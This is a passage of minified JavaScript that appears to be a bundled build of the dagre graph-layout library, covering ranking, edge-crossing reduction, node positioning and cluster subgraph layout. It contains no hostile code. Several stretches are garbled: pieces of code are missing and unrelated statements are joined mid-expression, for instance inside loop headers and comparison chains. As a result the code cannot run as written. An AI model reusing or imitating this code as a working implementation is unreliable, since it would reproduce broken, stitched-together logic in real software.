l=t.length-2;l>0;--l)if(a=(o=t[l])==null?void 0:o.dequeue(),a){i=i.concat(hi(e,t,n,a,!0)||[]);break}}}return i}function hi(e,t,n,o,i){let r=[],s=i?r:void 0;return(e.inEdges(o.v)||[]).forEach(a=>{let l=e.edge(a),u=e.node(a.v);i&&r.push({v:a.v,w:a.w}),u.out-=l,Xi(t,n,u)}),(e.outEdges(o.v)||[]).forEach(a=>{let l=e.edge(a),u=a.w,c=e.node(u);c.in-=l,Xi(t,n,c)}),e.removeNode(o.v),s}function S1(e,t){let n=new Ze,o=0,i=0;e.nodes().forEach(a=>{n.setNode(a,{v:a,in:0,out:0})}),e.edges().forEach(a=>{let l=n.edge(a.v,a.w)||0,u=t(a),c=l+u;n.setEdge(a.v,a.w,c);let d=n.node(a.v),h=n.node(a.w);i=Math.max(i,d.out+=u),o=Math.max(o,h.in+=u)});let r=C1(i+o+3).map(()=>new x1),s=o+1;return n.nodes().forEach(a=>{Xi(r,s,n.node(a))}),{graph:n,buckets:r,zeroIdx:s}}function Xi(e,t,n){var o,i,r;n.out?n.in?(r=e[n.out-n.in+t])==null||r.enqueue(n):(i=e[e.length-1])==null||i.enqueue(n):(o=e[0])==null||o.enqueue(n)}function C1(e){let t=[];for(let n=0;n{let i=e.edge(o);e.removeEdge(o),i.forwardName=o.name,i.reversed=!0,e.setEdge(o.w,o.v,i,wr("rev"))});function n(o){return i=>o.edge(i).weight}}function I1(e,t){let n=[],o={},i={};function r(l){Object.hasOwn(i,l)||(i[l]=!0,o[l]=!0,e.outEdges(l).forEach(u=>{Object.hasOwn(o,u.w)?n.push(u):r(u.w)}),delete o[l])}function s(l){var u;Object.hasOwn(i,l)||(i[l]=!0,o[l]=!0,(u=e.outEdges(l))==null||u.forEach(c=>{var d,h;Object.hasOwn(o,c.w)||((d=t.node(l))==null?void 0:d.rank)>((h=t.node(c.w))==null?void 0:h.rank)&&O1(e,c.w,c)?n.push(c):s(c.w)}),delete o[l])}let a=r;return t&&typeof t.node=="function"&&(a=s),e.sources().forEach(a),e.nodes().forEach(a),n}function T1(e){e.edges().forEach(t=>{let n=e.edge(t);if(n.reversed){e.removeEdge(t);let o=n.forwardName;delete n.reversed,delete n.forwardName,e.setEdge(t.w,t.v,n,o)}})}function O1(e,t,n){let o=new Set;function i(r){var s;if(e.sources().includes(r))return!0;o.add(r);for(let a of(s=e.inEdges(r))!=null?s:[])if(!(a.v===n.v&&a.w===n.w)&&!o.has(a.v)&&i(a.v))return!0;return!1}return i(t)}function A1(e){e.graph().dummyChains=[],e.edges().forEach(t=>D1(e,t))}function D1(e,t){let n=t.v,o=e.node(n).rank,i=t.w,r=e.node(i).rank,s=t.name,a=e.edge(t),l=a.labelRank;if(r===o+1)return;e.removeEdge(t);let u,c,d;for(d=0,++o;o{let n=e.node(t),o=n.edgeLabel,i;for(e.setEdge(n.edgeObj,o);n.dummy;)i=e.successors(t)[0],e.removeNode(t),o.points.push({x:n.x,y:n.y}),n.dummy==="edge-label"&&(o.x=n.x,o.y=n.y,o.width=n.width,o.height=n.height),t=i,n=e.node(t)})}function _r(e){let t={};function n(o){let i=e.node(o);if(Object.hasOwn(t,o))return i.rank;t[o]=!0;let r=e.outEdges(o),s=r?r.map(l=>l==null?Number.POSITIVE_INFINITY:n(l.w)-e.edge(l).minlen):[],a=et(Math.min,s);return a===Number.POSITIVE_INFINITY&&(a=0),i.rank=a}e.sources().forEach(n)}function nn(e,t){return e.node(t.w).rank-e.node(t.v).rank-e.edge(t).minlen}var eu=z1;function z1(e){let t=new Ze({directed:!1}),n=e.nodes();if(n.length===0)throw new Error("Graph must have at least one node");let o=n[0],i=e.nodeCount();t.setNode(o,{});let r,s;for(;R1(t,e){let s=r.v,a=o===s?r.w:s;!e.hasNode(a)&&!nn(t,r)&&(e.setNode(a,{}),e.setEdge(o,a,{}),n(a))})}return e.nodes().forEach(n),e.nodeCount()}function B1(e,t){return t.edges().reduce((n,o)=>{let i=Number.POSITIVE_INFINITY;return e.hasNode(o.v)!==e.hasNode(o.w)&&(i=nn(t,o)),it.node(o).rank+=n)}var{preorder:H1,postorder:L1}=yr,F1=Ft;Ft.initLowLimValues=Er;Ft.initCutValues=br;Ft.calcCutValue=tu;Ft.leaveEdge=ou;Ft.enterEdge=iu;Ft.exchangeEdges=ru;function Ft(e){e=f1(e),_r(e);let t=eu(e);Er(t),br(t,e);let n,o;for(;n=ou(t);)o=iu(t,e,n),ru(t,e,n,o)}function br(e,t){let n=L1(e,e.nodes());n=n.slice(0,n.length-1),n.forEach(o=>Y1(e,t,o))}function Y1(e,t,n){let o=e.node(n).parent,i=e.edge(n,o);i.cutvalue=tu(e,t,n)}function tu(e,t,n){let o=e.node(n).parent,i=!0,r=t.edge(n,o),s=0;r||(i=!1,r=t.edge(o,n)),s=r.weight;let a=t.nodeEdges(n);return a&&a.forEach(l=>{let u=l.v===n,c=u?l.w:l.v;if(c!==o){let d=u===i,h=t.edge(l).weight;if(s+=d?h:-h,X1(e,n,c)){let g=e.edge(n,c).cutvalue;s+=d?-g:g}}}),s}function Er(e,t){arguments.length<2&&(t=e.nodes()[0]),nu(e,{},1,t)}function nu(e,t,n,o,i){let r=n,s=e.node(o);t[o]=!0;let a=e.neighbors(o);return a&&a.forEach(l=>{Object.hasOwn(t,l)||(n=nu(e,t,n,l,o))}),s.low=r,s.lim=n++,i?s.parent=i:delete s.parent,n}function ou(e){return e.edges().find(t=>e.edge(t).cutvalue<0)}function iu(e,t,n){let o=n.v,i=n.w;t.hasEdge(o,i)||(o=n.w,i=n.v);let r=e.node(o),s=e.node(i),a=r,l=!1;return r.lim>s.lim&&(a=s,l=!0),t.edges().filter(u=>l===As(e,e.node(u.v),a)&&l!==As(e,e.node(u.w),a)).reduce((u,c)=>nn(t,c)!e.node(i).parent);if(!n)return;let o=H1(e,[n]);o=o.slice(1),o.forEach(i=>{let r=e.node(i).parent,s=t.edge(i,r),a=!1;s||(s=t.edge(r,i),a=!0),t.node(i).rank=t.node(r).rank+(a?s.minlen:-s.minlen)})}function X1(e,t,n){return e.hasEdge(t,n)}function As(e,t,n){return n.low<=t.lim&&t.lim<=n.lim}var W1=U1;function U1(e){let t=e.graph().ranker;if(typeof t=="function")return t(e);switch(t){case"network-simplex":Ds(e);break;case"tight-tree":Z1(e);break;case"longest-path":j1(e);break;case"none":break;default:Ds(e)}}var j1=_r;function Z1(e){_r(e),eu(e)}function Ds(e){F1(e)}var q1=K1;function K1(e){let t=Q1(e),n=e.graph();Array.isArray(n.dummyChains)&&n.dummyChains.forEach(o=>{let i=e.node(o),r=i.edgeObj,s=J1(e,t,r.v,r.w),a=s.path,l=s.lca,u=0,c=a[u],d=!0;for(;o!==r.w;){if(i=e.node(o),d){for(;(c=a[u])!==l&&e.node(c).maxRanks||a>t[l].lim));let u=l,c=o;for(;(c=e.parent(c))!==u;)r.push(c);return{path:i.concat(r.reverse()),lca:u}}function Q1(e){let t={},n=0;function o(i){let r=n;e.children(i).forEach(o),t[i]={low:r,lim:n++}}return e.children(qo).forEach(o),t}function e_(e){let t=rn(e,"root",{},"_root"),n=t_(e),o=Object.values(n),i=et(Math.max,o)-1,r=2*i+1;e.graph().nestingRoot=t,e.edges().forEach(a=>e.edge(a).minlen*=r);let s=n_(e)+1;e.children(qo).forEach(a=>{su(e,t,r,s,i,n,a)}),e.graph().nodeRankFactor=r}function su(e,t,n,o,i,r,s){var a;let l=e.children(s);if(!l.length){s!==t&&e.setEdge(t,s,{weight:0,minlen:n});return}let u=Ts(e,"_bt"),c=Ts(e,"_bb"),d=e.node(s);e.setParent(u,s),d.borderTop=u,e.setParent(c,s),d.borderBottom=c,l.forEach(h=>{var g;su(e,t,n,o,i,r,h);let _=e.node(h),b=_.borderTop?_.borderTop:h,S=_.borderBottom?_.borderBottom:h,$=_.borderTop?o:2*o,N=b!==S?1:i-((g=r[s])!=null?g:0)+1;e.setEdge(u,b,{weight:$,minlen:N,nestingEdge:!0}),e.setEdge(S,c,{weight:$,minlen:N,nestingEdge:!0})}),e.parent(s)||e.setEdge(t,u,{weight:0,minlen:i+((a=r[s])!=null?a:0)})}function t_(e){let t={};function n(o,i){let r=e.children(o);r&&r.length&&r.forEach(s=>n(s,i+1)),t[o]=i}return e.children(qo).forEach(o=>n(o,1)),t}function n_(e){return e.edges().reduce((t,n)=>t+e.edge(n).weight,0)}function o_(e){let t=e.graph();e.removeNode(t.nestingRoot),delete t.nestingRoot,e.edges().forEach(n=>{e.edge(n).nestingEdge&&e.removeEdge(n)})}var i_=r_;function r_(e){function t(n){let o=e.children(n),i=e.node(n);if(o.length&&o.forEach(t),i&&Object.hasOwn(i,"minRank")){i.borderLeft=[],i.borderRight=[];for(let r=i.minRank,s=i.maxRank+1;rzs(e.node(t))),e.edges().forEach(t=>zs(e.edge(t)))}function zs(e){let t=e.width;e.width=e.height,e.height=t}function l_(e){e.nodes().forEach(t=>gi(e.node(t))),e.edges().forEach(t=>{var n;let o=e.edge(t);(n=o.points)==null||n.forEach(gi),Object.hasOwn(o,"y")&&gi(o)})}function gi(e){e.y=-e.y}function u_(e){e.nodes().forEach(t=>pi(e.node(t))),e.edges().forEach(t=>{var n;let o=e.edge(t);(n=o.points)==null||n.forEach(pi),Object.hasOwn(o,"x")&&pi(o)})}function pi(e){let t=e.x;e.x=e.y,e.y=t}function c_(e,t=null){let n={},o=e.nodes().filter(u=>!e.children(u).length),i=o.map(u=>e.node(u).rank),r=et(Math.max,i),s=An(r+1).map(()=>[]);function a(u){if(n[u])return;n[u]=!0;let c=e.node(u);s[c.rank].push(u);let d=e.successors(u);d&&[...d].sort((h,g)=>l(h,g)).forEach(a)}o.sort((u,c)=>e.node(u).rank-e.node(c).rank).forEach(a);function l(u,c){let d=e.node(u),h=e.node(c);return Ql(t,d,h)}return s}function d_(e,t){let n=0;for(let o=1;oc)),i=t.flatMap(u=>{let c=e.outEdges(u);return c?c.map(d=>({pos:o[d.w],weight:e.edge(d).weight})).sort((d,h)=>d.pos-h.pos):[]}),r=1;for(;r{let c=u.pos+r;a[c]+=u.weight;let d=0;for(;c>0;)c%2&&(d+=a[c+1]),c=c-1>>1,a[c]+=u.weight;l+=u.weight*d}),l}function h_(e,t=[]){return t.map(n=>{let o=e.inEdges(n);if(!o||!o.length)return{v:n};{let i=o.reduce((r,s)=>{let a=e.edge(s),l=e.node(s.v);return{sum:r.sum+a.weight*l.order,weight:r.weight+a.weight}},{sum:0,weight:0});return{v:n,barycenter:i.sum/i.weight,weight:i.weight}}})}function g_(e,t){let n={};e.forEach((i,r)=>{let s={indegree:0,in:[],out:[],vs:[i.v],i:r};i.barycenter!==void 0&&(s.barycenter=i.barycenter,s.weight=i.weight),n[i.v]=s}),t.edges().forEach(i=>{let r=n[i.v],s=n[i.w];r!==void 0&&s!==void 0&&(s.indegree++,r.out.push(s))});let o=Object.values(n).filter(i=>!i.indegree);return p_(o)}function p_(e){let t=[];function n(i){return r=>{r.merged||(r.barycenter===void 0||i.barycenter===void 0||r.barycenter>=i.barycenter)&&v_(i,r)}}function o(i){return r=>{r.in.push(i),--r.indegree===0&&e.push(r)}}for(;e.length;){let i=e.pop();t.push(i),i.in.reverse().forEach(n(i)),i.out.forEach(o(i))}return t.filter(i=>!i.merged).map(i=>Do(i,["vs","i","barycenter","weight"]))}function v_(e,t){let n=0,o=0;e.weight&&(n+=e.barycenter*e.weight,o+=e.weight),t.weight&&(n+=t.barycenter*t.weight,o+=t.weight),e.vs=t.vs.concat(e.vs),e.barycenter=n/o,e.weight=o,e.i=Math.min(t.i,e.i),t.merged=!0}function m_(e,t,n,o,i){let r={},s=null,a=null,l=i;typeof t=="boolean"?(l=t,r={}):t&&(r=t,s=n??null,a=o??null);let u=v1(e,$=>Object.hasOwn($,"barycenter")),c=u.lhs,d=u.rhs.sort(($,N)=>N.i-$.i),h=[],g=0,_=0,b=0;c.sort(y_(a,s,!!l));for(let[$,N]of Object.entries(r)){let v=c.findIndex(x=>x.vs[0]===$);c.splice(v+1,0,N)}b=Rs(h,d,b),c.forEach($=>{b+=$.vs.length,h.push($.vs),g+=$.barycenter*$.weight,_+=$.weight,b=Rs(h,d,b)});let S={vs:h.flat(1)};return _&&(S.barycenter=g/_,S.weight=_),S}function Rs(e,t,n){let o;for(;t.length&&(o=t[t.length-1]).i<=n;)t.pop(),e.push(o.vs),n++;return n}function y_(e,t,n){return(o,i)=>{if(o.barycenteri.barycenter)return 1;if(e&&(typeof o.vs[0]=="string"||typeof i.vs[0]=="string")){let r=e.node(o.vs[0]),s=e.node(i.vs[0]),a=Ql(t,r,s);if(a!==0)return a}return n?i.i-o.i:o.i-i.i}}function lu(e,t,n,o,i){var r,s,a,l,u,c,d,h,g,_,b;let S=null,$=i;typeof o=="boolean"?($=o,S=null):o!==void 0&&(S=o);let N=e.children(t),v=e.node(t),x=v?v.borderLeft:void 0,D=v?v.borderRight:void 0,V={};x&&(N=N.filter(C=>C!==x&&C!==D));let F=h_(e,N);F.forEach(C=>{if(e.children(C.v).length){let{result:X}=lu(e,C.v,n,S,$);V[C.v]=X,Object.hasOwn(X,"barycenter")&&__(C,X)}});let B=g_(F,n);w_(B,V);let G={},L=!1;for(let C=0;C{n.vs=n.vs.flatMap(o=>t[o]?t[o].vs:o)})}function __(e,t){e.barycenter!==void 0?(e.barycenter=(e.barycenter*e.weight+t.barycenter*t.weight)/(e.weight+t.weight),e.weight+=t.weight):(e.barycenter=t.barycenter,e.weight=t.weight)}function b_(e,t,n,o){o||(o=e.nodes());let i=E_(e),r=new Ze({compound:!0}).setGraph({root:i}).setDefaultNodeLabel(s=>e.node(s));return o.forEach(s=>{let a=e.node(s),l=e.parent(s);if(a.rank===t||a.minRank<=t&&t<=a.maxRank){r.setNode(s),r.setParent(s,l||i);let u=e[n](s);u&&u.forEach(c=>{let d=c.v===s?c.w:c.v,h=r.edge(d,s),g=h!==void 0?h.weight:0;r.setEdge(d,s,{weight:e.edge(c).weight+g})}),Object.hasOwn(a,"minRank")&&r.setNode(s,{borderLeft:a.borderLeft[t],borderRight:a.borderRight[t]})}}),r}function E_(e){let t;for(;e.hasNode(t=wr("_root")););return t}function x_(e,t,n){let o={},i;n.forEach(r=>{let s=e.parent(r),a,l;for(;s;){if(a=e.parent(s),a?(l=o[a],o[a]=s):(l=i,i=s),l&&l!==s){t.setEdge(l,s);return}s=a}})}function uu(e,t={},n=null){if(typeof t.customOrder=="function"){t.customOrder(e,uu);return}let o=Kl(e),i=Bs(e,An(1,o+1),"inEdges"),r=Bs(e,An(o-1,-1,-1),"outEdges"),s=c_(e,n);if(Vs(e,s),t.disableOptimalOrderHeuristic)return;let a=Number.POSITIVE_INFINITY,l,u=t.constraints||[];for(let c=0,d=0;d<4;++c,++d){$_(c%2?i:r,c%4>=2,u,n),s=Vn(e);let h=d_(e,s);h{o.has(r)||o.set(r,[]),o.get(r).push(s)};for(let r of e.nodes()){let s=e.node(r);if(typeof s.rank=="number"&&i(s.rank,r),typeof s.minRank=="number"&&typeof s.maxRank=="number")for(let a=s.minRank;a<=s.maxRank;a++)a!==s.rank&&i(a,r)}return t.map(function(r){return b_(e,r,n,o.get(r)||[])})}function $_(e,t,n,o){let i=!0,r=new Ze;e.forEach(function(s){n.forEach(c=>r.setEdge(c.left,c.right));let a=s.graph().root,{result:l,usedBias:u}=lu(s,a,r,o,i);t&&u&&(i=!i),l.vs.forEach((c,d)=>s.node(c).order=d),x_(s,r,l.vs)})}function Vs(e,t){Object.values(t).forEach(n=>n.forEach((o,i)=>e.node(o).order=i))}function k_(e,t){let n={};function o(i,r){let s=0,a=0,l=i.length,u=r[r.length-1];return r.forEach((c,d)=>{let h=S_(e,c),g=h?e.node(h).order:l;(h||c===u)&&(r.slice(a,d+1).forEach(_=>{let b=e.predecessors(_);b&&b.forEach(S=>{let $=e.node(S),N=$.order;(N{let d=r[c];if(d!==void 0&&e.node(d).dummy){let h=e.predecessors(d);h&&h.forEach(g=>{if(g===void 0)return;let _=e.node(g);_.dummy&&(_.orderu)&&cu(n,g,d)})}})}function i(r,s){let a=-1,l=-1,u=0;return s.forEach((c,d)=>{if(e.node(c).dummy==="border"){let h=e.predecessors(c);if(h&&h.length){let g=h[0];if(g===void 0)return;l=e.node(g).order,o(s,u,d,a,l),u=d,a=l}}o(s,u,s.length,l,r.length)}),s}return t.length&&t.reduce(i),n}function S_(e,t){if(e.node(t).dummy){let n=e.predecessors(t);if(n)return n.find(o=>e.node(o).dummy)}}function cu(e,t,n){if(t>n){let i=t;t=n,n=i}let o=e[t];o||(e[t]=o={}),o[n]=!0}function C_(e,t,n){if(t>n){let i=t;t=n,n=i}let o=e[t];return o!==void 0&&Object.hasOwn(o,n)}function M_(e,t,n,o,i){let r={},s={},a={};return t.forEach(l=>{l.forEach((u,c)=>{r[u]=u,s[u]=u,a[u]=c})}),t.forEach(l=>{let u=-1,c=-1,d=!1,h=l,g=l.findIndex(_=>(i==null?void 0:i.includes(_))||Hs(_,e,i));g>0&&(h=[l[g],...l.slice(0,g),...l.slice(g+1)],d=!0),h.forEach(_=>{var b;let S=o(_);if(S&&S.length){i!=null&&i.includes(_)&&(S=S.filter(v=>Hs(v,e,i)));let $=S.sort((v,x)=>{let D=a[v],V=a[x];return(D!==void 0?D:0)-(V!==void 0?V:0)}),N=($.length-1)/2;for(let v=Math.floor(N),x=Math.ceil(N);v<=x;++v){let D=$[v];if(D===void 0)continue;let V=a[D];if(V!==void 0&&s[_]===_&&u{var $;let N=($=r[S.v])!=null?$:0,v=s.edge(S);return Math.max(b,N+(v!==void 0?v:0))},0):r[g]=0}function c(g){let _=s.outEdges(g),b=Number.POSITIVE_INFINITY;_&&(b=_.reduce(($,N)=>{let v=r[N.w],x=s.edge(N);return Math.min($,(v!==void 0?v:0)-(x!==void 0?x:0))},Number.POSITIVE_INFINITY));let S=e.node(g);b!==Number.POSITIVE_INFINITY&&S.borderType!==a&&(r[g]=Math.max(r[g]!==void 0?r[g]:0,b))}function d(g){return s.predecessors(g)||[]}function h(g){return s.successors(g)||[]}return l(u,d),l(c,h),Object.keys(o).forEach(g=>{var _;let b=n[g];b!==void 0&&(r[g]=(_=r[b])!=null?_:0)}),r}function T_(e,t,n,o){let i=new Ze,r=e.graph(),s=z_(r.nodesep,r.edgesep,o);return t.forEach(a=>{let l;a.forEach(u=>{let c=n[u];if(c!==void 0){if(i.setNode(c),l!==void 0){let d=n[l];if(d!==void 0){let h=i.edge(d,c);i.setEdge(d,c,Math.max(s(e,u,l),h||0))}}l=u}})}),i}function O_(e,t){return Object.values(t).reduce((n,o)=>{let i=Number.NEGATIVE_INFINITY,r=Number.POSITIVE_INFINITY;Object.entries(o).forEach(([a,l])=>{let u=R_(e,a)/2;i=Math.max(l+u,i),r=Math.min(l-u,r)});let s=i-r;return s{["l","r"].forEach(s=>{let a=r+s,l=e[a];if(!l||l===t)return;let u=Object.values(l),c=o-et(Math.min,u);s!=="l"&&(c=i-et(Math.max,u)),c&&(e[a]=Zo(l,d=>d+c))})})}function D_(e,t=void 0){let n=e.ul;return n?Zo(n,(o,i)=>{var r,s;if(t){let l=t.toLowerCase(),u=e[l];if(u&&u[i]!==void 0)return u[i]}let a=Object.values(e).map(l=>{let u=l[i];return u!==void 0?u:0}).sort((l,u)=>l-u);return(((r=a[1])!=null?r:0)+((s=a[2])!=null?s:0))/2}):{}}function P_(e,t){let n=Vn(e),o=Object.assign(k_(e,n),N_(e,n)),i={},r;["u","d"].forEach(a=>{r=a==="u"?n:Object.values(n).reverse(),["l","r"].forEach(l=>{l==="r"&&(r=r.map(d=>Object.values(d).reverse()));let u=M_(e,r,o,d=>(a==="u"?e.predecessors(d):e.successors(d))||[],t),c=I_(e,r,u.root,u.align,l==="r");l==="r"&&(c=Zo(c,d=>-d)),i[a+l]=c})});let s=O_(e,i);return A_(i,s),D_(i,e.graph().align)}function z_(e,t,n){return(o,i,r)=>{let s=o.node(i),a=o.node(r),l=0,u;if(l+=s.width/2,Object.hasOwn(s,"labelpos"))switch(s.labelpos.toLowerCase()){case"l":u=-s.width/2;break;case"r":u=s.width/2;break}if(u&&(l+=n?u:-u),u=void 0,l+=(s.dummy?t:e)/2,l+=(a.dummy?t:e)/2,l+=a.width/2,Object.hasOwn(a,"labelpos"))switch(a.labelpos.toLowerCase()){case"l":u=a.width/2;break;case"r":u=-a.width/2;break}return u&&(l+=n?u:-u),l}}function R_(e,t){return e.node(t).width}function Hs(e,t,n){var o;if(!n)return!1;let i=(o=t.node(e))==null?void 0:o.edgeObj;if(!i||t.node(e).edgeLabel.reversed)return!1;let r=n.indexOf(i==null?void 0:i.v),s=n.indexOf(i==null?void 0:i.w);return r!==-1&&s!==-1&&r===(s+1)%n.length||r===(s-1)%n.length}function B_(e,t){e=Zl(e),V_(e),Object.entries(P_(e,t)).forEach(([n,o])=>e.node(n).x=o)}function V_(e){let t=Vn(e),n=e.graph(),o=n.ranksep,i=n.rankalign,r=0;t.forEach(s=>{let a=s.reduce((l,u)=>{var c;let d=(c=e.node(u).height)!=null?c:0;return l>d?l:d},0);s.forEach(l=>{let u=e.node(l);i==="top"?u.y=r+u.height/2:i==="bottom"?u.y=r+a-u.height/2:u.y=r+a/2}),r+=a+o})}var Ls=new WeakMap;function H_(e,t={}){return du(e,Jl,t),e}function Fs(e,t,n){let o=t;for(;o!==void 0;){let i=e.parent(o);if(i===n)return o;o=i}}function du(e,t,n){var o;let i=e.nodes().filter(N=>e.children(N).length),r={};i.forEach(N=>{let v=e.node(N);if(v&&v.rankdir){let x=new Ze({multigraph:!0,compound:!0});x.setGraph({rankdir:v.rankdir});let D=e.children(N);D.forEach(p=>{let k={...e.node(p)};x.setNode(p,k);let w=e.parent(p);w&&w!==N&&D.includes(w)&&x.setParent(p,w)});let V=new Set;e.edges().forEach(p=>{let k=Fs(e,p.v,N),w=Fs(e,p.w,N);if(k&&w&&k!==w){let O=`${k}\0${w}`;V.has(O)||(V.add(O),x.setEdge(k,w,{...e.edge(p)}))}}),du(x,t,n);let F=Ws(x);Ys(F,t,n,null),Gs(x,F);let B=1/0,G=1/0,L=-1/0,R=-1/0;x.nodes().forEach(p=>{if(p===N)return;let k=x.node(p);k&&typeof k.x=="number"&&typeof k.y=="number"&&typeof k.width=="number"&&typeof k.height=="number"&&(B=Math.min(B,k.x-k.width/2),L=Math.max(L,k.x+k.width/2),G=Math.min(G,k.y-k.height/2),R=Math.max(R,k.y+k.height/2))}),(!isFinite(B)||!isFinite(G)||!isFinite(L)||!isFinite(R))&&(B=G=0,L=R=0);let C=L-B,X=R-G;r[N]={minX:B,minY:G,maxX:L,maxY:R,width:C,height:X,offsetX:B,offsetY:G},v._dagreClusterSubgraph=x}});let s=[],a=N=>{let v=[],x=(e.children(N)||[]).filter(D=>D!==N);for(;x.length>0;){let D=x.shift();v.push(D),(e.children(D)||[]).filter(V=>V!==D).forEach(V=>x.push(V))}return v},l=new Map;i.forEach(N=>{let v=e.node(N);v&&v.rankdir&&r[N]&&l.set(N,(e.children(N)||[]).filter(x=>x!==N))});let u=new Set([...l.values()].flat()),c=new Map;l.forEach((N,v)=>{u.has(v)||c.set(v,a(v))});let d=new Set([...c.values()].flat()),h=N=>{for(let[v,x]of c)if(x.includes(N))return v;return N},g=[];e.edges().forEach(N=>{(d.has(N.v)||d.has(N.w))&&g.push({edge:N,label:e.edge(N)})});let _=new Map;d.forEach(N=>{let v=e.parent(N);_.set(N,typeof v=="string"?v:void 0)}),c.forEach((N,v)=>{let x=e.node(v),D=[];N.forEach(B=>{let G=e.node(B);G&&(D.push({id:B,node:G,parent:_.get(B)}),e.removeNode(B))});let V=g.filter(({edge:B})=>N.includes(B.v)||N.includes(B.w)),F=r[v];x&&(s.push({clusterId:v,subgraph:x._dagreClusterSubgraph,bounds:F,children:N,removedNodes:D,removedEdges:V}),x.width=F.width,x.height=F.height)});let b=new Set;g.forEach(({edge:N,label:v})=>{let x=h(N.v),D=h(N.w);if(x!==D&&e.hasNode(x)&&e.hasNode(D)){let V=`${x}\0${D}`;b.has(V)||(b.add(V),e.setEdge(x,D,{...v,width:0,height:0}))}});let S=Ws(e),$=Ys(S,t,n,(o=Ls.get(e))!=null?o:null);Ls.set(e,$),Gs(e,S),b.forEach(N=>{let v=N.indexOf("\0"),x=N.slice(0,v),D=N.slice(v+1);e.hasEdge(x,D)&&e.removeEdge(x,D)}),s.forEach(({clusterId:N,subgraph:v,bounds:x,removedNodes:D,removedEdges:V})=>{var F,B;let G=e.node(N),L=(F=G==null?void 0:G.x)!=null?F:0,R=(B=G==null?void 0:G.y)!=null?B:0,C=(x.minX+x.maxX)/2,X=(x.minY+x.maxY)/2;D.forEach(({id:p,node:k,parent:w})=>{e.setNode(p,k),w!==void 0&&e.setParent(p,w)}),V.forEach(({edge:p,label:k})=>{e.setEdge(p,k)}),v.nodes().forEach(p=>{if(p===N)return;let k=v.node(p),w=e.node(p);w&&k&&typeof k.x=="number"&&typeof k.y=="number"&&(w.x=L+(k.x-C),w.y=R+(k.y-X))}),delete G._dagreClusterSubgraph}),i.forEach(N=>{var v,x;let D=e.node(N),V=r[N];if(D&&D.rankdir&&D._dagreClusterSubgraph&&V){let F=D._dagreClusterSubgraph,B=(v=D.x)!=null?v:0,G=(x=D.y)!=null?x:0,L=(V.minX+V.maxX)/2,R=(V.minY+V.maxY)/2;F.nodes().forEach(C=>{if(C===N)return;let X=F.node(C),p=e.node(C);if(p&&X&&typeof X.x=="number"&&typeof X.y=="number"){let k=X.x-L,w=X.y-R;p.x=B+k,p.y=G+w}}),delete D._dagreClusterSubgraph}})}function Ys(e,t,n,o=null){var i,r;let s=(n==null?void 0:n.useDynamic)!==!1,a=s&&(i=o==null?void 0:o.graph)!=null?i:null,l=s&&(r=o==null?void 0:o.rawNodes)!=null?r:null;t(" makeSpaceForEdgeLabels",()=>j_(e)),t(" removeSelfEdges",()=>ob(e)),t(" acyclic",()=>M1(e,a)),t(" nestingGraph.run",()=>e_(e)),t(" rank",()=>W1(Zl(e))),t(" injectEdgeLabelProxies",()=>Z_(e)),t(" removeEmptyRanks",()=>g1(e)),t(" nestingGraph.cleanup",()=>o_(e)),t(" normalizeRanks",()=>h1(e)),t(" assignRankMinMax",()=>q_(e)),t(" removeEdgeLabelProxies",()=>K_(e)),t(" normalize.run",()=>A1(e)),t(" parentDummyChains",()=>q1(e)),t(" addBorderSegments",()=>i_(e)),t(" order",()=>uu(e,n,l)),t(" insertSelfEdges",()=>ib(e)),t(" adjustCoordinateSystem",()=>s_(e)),t(" position",()=>B_(e,n.corePath)),t(" positionSelfEdges",()=>rb(e));let u=JSON.parse(JSON.stringify(e._nodes));return t(" removeBorderNodes",()=>nb(e)),t(" normalize.undo",()=>P1(e)),t(" fixupEdgeLabelCoords",()=>eb(e)),t(" undoCoordinateSystem",()=>a_(e)),t(" translateGraph",()=>J_(e)),t(" assignNodeIntersects",()=>Q_(e)),t(" reversePoints",()=>tb(e)),t(" acyclic.undo",()=>T1(e)),{graph:e,rawNodes:u}}function Gs(e,t){e.nodes().forEach(n=>{let o=e.node(n),i=t.node(n);o&&(o.x=i.x,o.y=i.y,o.order=i.order,o.rank=i.rank,t.children(n).length&&(o.width=i.width,o.height=i.height))}),e.edges().forEach(n=>{let o=e.edge(n),i=t.edge(n);o.points=i.points,Object.hasOwn(i,"x")&&(o.x=i.x,o.y=i.y)}),e.graph().width=t.graph().width,e.graph().height=t.graph().height}var L_=["nodesep","edgesep","ranksep","marginx","marginy"],F_={ranksep:50,edgesep:20,nodesep:50,rankdir:"TB",rankalign:"center"},Y_=["acyclicer","ranker","rankdir","align","rankalign"],G_=["width","height","rank"],Xs={width:0,height:0},X_=["minlen","weight","width","height","labeloffset"],W_={minlen:1,weight:1,width:0,height:0,labeloffset:10,labelpos:"r"},U_=["labelpos"];function Ws(e){let t=new Ze({multigraph:!0,compound:!0}),n=mi(e.graph());return t.setGraph(Object.assign({},F_,vi(n,L_),Do(n,Y_))),e.nodes().forEach(o=>{let i=mi(e.node(o)),r=vi(i,G_);Object.keys(Xs).forEach(a=>{r[a]===void 0&&(r[a]=Xs[a])}),t.setNode(o,r);let s=e.parent(o);s!==void 0&&t.setParent(o,s)}),e.edges().forEach(o=>{let i=mi(e.edge(o));t.setEdge(o,Object.assign({},W_,vi(i,X_),Do(i,U_)))}),t}function j_(e){let t=e.graph();t.ranksep/=2,e.edges().forEach(n=>{var o;let i=e.edge(n);i.minlen*=2,((o=i.labelpos)!=null?o:"r").toLowerCase()!=="c"&&(t.rankdir==="TB"||t.rankdir==="BT"?i.width+=i.labeloffset:i.height+=i.labeloffset)})}function Z_(e){e.edges().forEach(t=>{let n=e.edge(t);if(n.width&&n.height){let o=e.node(t.v),i={rank:(e.node(t.w).rank-o.rank)/2+o.rank,e:t};rn(e,"edge-proxy",i,"_ep")}})}function q_(e){let t=0;e.nodes().forEach(n=>{let o=e.node(n);o.borderTop&&(o.minRank=e.node(o.borderTop).rank,o.maxRank=e.node(o.borderBottom).rank,t=Math.max(t,o.maxRank))}),e.graph().maxRank=t}function K_(e){e.nodes().forEach(t=>{let n=e.node(t);if(n.dummy==="edge-proxy"){let o=n;e.edge(o.e).labelRank=n.rank,e.removeNode(t)}})}function J_(e){let t=Number.POSITIVE_INFINITY,n=0,o=Number.POSITIVE_INFINITY,i=0,r=e.graph(),s=r.marginx||0,a=r.marginy||0;function l(u){let c=u.x,d=u.y,h=u.width,g=u.height;t=Math.min(t,c-h/2),n=Math.max(n,c+h/2),o=Math.min(o,d-g/2),i=Math.max(i,d+g/2)}e.nodes().forEach(u=>l(e.node(u))),e.edges().forEach(u=>{let 